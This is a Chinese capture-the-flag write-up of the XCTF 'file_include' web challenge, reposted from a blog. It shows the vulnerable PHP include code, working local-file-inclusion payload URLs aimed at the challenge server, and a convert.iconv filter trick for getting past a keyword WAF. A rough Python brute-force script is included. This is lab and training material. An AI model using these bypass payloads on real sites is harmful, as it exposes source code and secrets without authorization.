攻防世界web-file_include(江苏工匠杯/泰山杯原题)
文章目录
XCTF - file_include
题目编号:GFSJ1060
知识点
本题思路比较简单,但是其中过滤了一些关键字比较麻烦,最重要的知识点就是convert.iconv.* 绕过
。
题目
源码分析
highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); }?>
源码相对比较简单,典型的文件包含,直接运用文件包含的相关payload攻击即可,直接运用php://filter
读取源码,发现竟然做了waf。
逐个分析关键词,发送如下两个payload
http://61.147.171.105:64434/?filename=php://fil1ter/con1vert.ba1se64-e1ncode/resource=index.php
http://61.147.171.105:64434/?filename=php://filter/convert.base64-e1ncode/resource=index.php
第一个payload,提示不见了,第二个payload依然有提示,说明base64-encode
关键词被过滤;直接在网上搜文件包含绕过base64-encode
,最终找到了convert.iconv.* 绕过
.
convert.iconv.* 绕过
这个过滤器需要php支持iconv
,而iconv是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()
函数处理所有的流数据。
iconv — 字符串按要求的字符编码来转换
convery.iconv.*的使用有两种方法:
- convert.iconv..
- convert.iconv./
和就是编码方式,有如下几种(以下不全):
UCS-4*UCS-4BEUCS-4LE*UCS-2UCS-2BEUCS-2LEUTF-32*UTF-32BE*UTF-32LE*UTF-16*UTF-16BE*UTF-16LE*UTF-7UTF7-IMAPUTF-8*ASCII*EUC-JP*SJIS*eucJP-win*SJIS-win*ISO-2022-JPISO-2022-JP-MSCP932CP51932BASE64
具体可参考官方手册https://www.php.net/manual/en/mbstring.supported-encodings.php
本题中骂我们逐个进行尝试,最终尝试http://61.147.171.105:64434/?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
可以进行绕过。
其实在这里可以进行爆破,写了个脚本没成功,这里也附上吧,抽空再进行完善
import requestslist1= []with open('zifu.txt','r+') as f: a=f.readlines() for i in a: i = i.replace("\n","") list1.append(i)list2 = []for i in list1: str = 'php://filter/convert.{}/resource=index.php'.format(i) list2.append(str)for i in list2: url = 'http://61.147.171.105:64434/?filename='+i # for i in try: resp = requests.get(url,timeout=3) except: pass
通过读取index.php和check.php,发现没有提示文字。
但是在check.php中,发现了呗过滤的关键词,大胆猜想可能在flag.php中,直接读取flag.php。获取到flag。
其他关于文件包含的文章可以参考这篇文章文件包含漏洞总结都在这里了
来源地址:https://blog.csdn.net/yuanxu8877/article/details/127607264
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341